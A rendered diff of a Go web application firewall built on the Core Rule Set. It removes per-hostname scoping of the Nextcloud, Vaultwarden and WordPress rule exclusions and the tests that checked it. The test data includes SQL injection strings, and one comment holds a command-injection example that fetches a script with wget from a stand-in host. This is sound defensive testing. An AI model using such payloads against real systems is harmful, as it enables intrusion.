formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
},
{
mediawikiSignUp,
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, sent.body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, sent.body, giteaHost, got)
}
}
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends // the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
+1 -12
View File
@@ -1,4 +1,4 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that # The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or # sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,13 +29,6 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there. # injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those # The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -162,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
# change: key=password&value=..., or the same in JSON. This rule is in phase 2, # change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body # because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field. # sends key once, so a second key cannot skip these rules for another field.
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \ SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain" "id:900127,phase:2,pass,nolog,chain"
SecRule &TX:app_nextcloud "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain" SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain" SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \ SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
@@ -450,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
SecRule REQUEST_METHOD "@streq MKCOL" \ SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\ "ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*" ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
-60
View File
@@ -51,66 +51,6 @@ const (
// nextcloudOther is a JSON field no exclusion names. // nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}` const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
}
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {nextcloud}},
})
// A password that only the phase 2 rule 900127 lets through.
r := request{http.MethodPut, nextcloudUsers + "/alice", []string{formData}}
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < nextcloudThreshold {
t.Errorf("PUT %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=". // and 932260, each on a path where it skips them, ending in "=".
// //
+23 -41
View File
@@ -13,8 +13,6 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// giteaRequests returns the recorded ordinary gitea requests in testdata. // giteaRequests returns the recorded ordinary gitea requests in testdata.
@@ -54,10 +52,10 @@ func TestOrdinaryGiteaRequestsPass(t *testing.T) {
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := servingApps(t, map[string][]string{giteaHost: {gitea}}) crs := atDefaults(t)
for _, r := range giteaRequests(t) { for _, r := range giteaRequests(t) {
if got := inspect(t, crs, withHost(r, giteaHost)); got.Score >= threshold { if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got) t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
} }
} }
@@ -104,25 +102,17 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
} }
// wantRecordedRequestsPass checks that none of the recorded ordinary // wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused on the hostname where // requests in the file name in testdata is refused, at the defaults and
// they were recorded, otherHost for WordPress and example.com for the other // while bodies are read. A request with neither a body nor a Content-Type
// apps, while SWW_APPS lists only app for it. They are checked at the // header is checked only at the defaults: with neither, the set that reads
// defaults and while bodies are read. With SWW_APPS unset, every app's fixes // bodies has nothing more to check. Each request runs as its own parallel
// apply. These only switch checks off, so the requests pass then too. A // subtest.
// request with neither a body nor a Content-Type header is checked only at func wantRecordedRequestsPass(t *testing.T, name string) {
// the defaults: with neither, the set that reads bodies has nothing more to
// check. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{"example.com": {app}, otherHost: {app}} defaults, bodies := atDefaults(t), readingBodies(t)
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
for _, recorded := range recordedRequests(t, name) { for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -156,32 +146,24 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal") wantRecordedRequestsPass(t, "drupal-requests.txt")
} }
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the // TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only: with SWW_APPS unset, and on example.com, where they were // defaults only. While bodies are read, the Core Rule Set still refuses the
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read, // file and branch names some of them carry in a form or JSON body, as it does
// the Core Rule Set still refuses the file and branch names some of them // gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
// carry in a form or JSON body, as it does gitea's
// (TestGiteaBodiesTheCoreRuleSetRefuses).
func TestOrdinaryForgejoRequestsPass(t *testing.T) { func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt") crs := atDefaults(t)
forgejoOnly := map[string][]string{"example.com": {forgejo}}
for apps, crs := range map[string]*coreruleset.CoreRuleSet{ for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
"SWW_APPS unset": atDefaults(t), r := request{recorded.Method, recorded.Target, recorded.Headers}
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly), if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
} { t.Errorf("%s %s refused: %+v", r.method, r.target, got)
for _, recorded := range requests {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s: %s %s refused: %+v", apps, r.method, r.target, got)
}
} }
} }
} }
@@ -189,29 +171,29 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) {
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon") wantRecordedRequestsPass(t, "mastodon-requests.txt")
} }
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki) wantRecordedRequestsPass(t, "mediawiki-requests.txt")
} }
func TestOrdinaryNextcloudRequestsPass(t *testing.T) { func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud) wantRecordedRequestsPass(t, "nextcloud-requests.txt")
} }
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden") wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
} }
func TestOrdinaryWordPressRequestsPass(t *testing.T) { func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress) wantRecordedRequestsPass(t, "wordpress-requests.txt")
} }
+4
View File
@@ -468,3 +468,7 @@
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+11
View File
@@ -91,6 +91,17 @@
/explore/organizations?q=docker-ci /explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci /api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
+1 -10
View File
@@ -1,4 +1,4 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that # The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where # refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain # Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request, # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules: # Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming # name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team" # an organization or a group, "python3 .htaccess team"
@@ -131,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
ctl:ruleRemoveTargetById=942540;ARGS:token,\ ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\ ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token" ctl:ruleRemoveTargetById=944150;ARGS:token"
SecMarker END_VAULTWARDEN
-17
View File
@@ -9,8 +9,6 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -31,21 +29,6 @@ const (
// vaultwardenEmail is a JSON body that sends an address in email. // vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}` const vaultwardenEmail = `{"email":"VALUE"}`
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
// vaultwardenField is a field Vaultwarden receives in plain text: the // vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value // request that sends it, and its body, with VALUE where the field's value
// goes. // goes.
+1 -10
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
-23
View File
@@ -12,7 +12,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and // The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, waf.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, waf.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
+1 -3
View File
@@ -221,8 +221,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS, // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)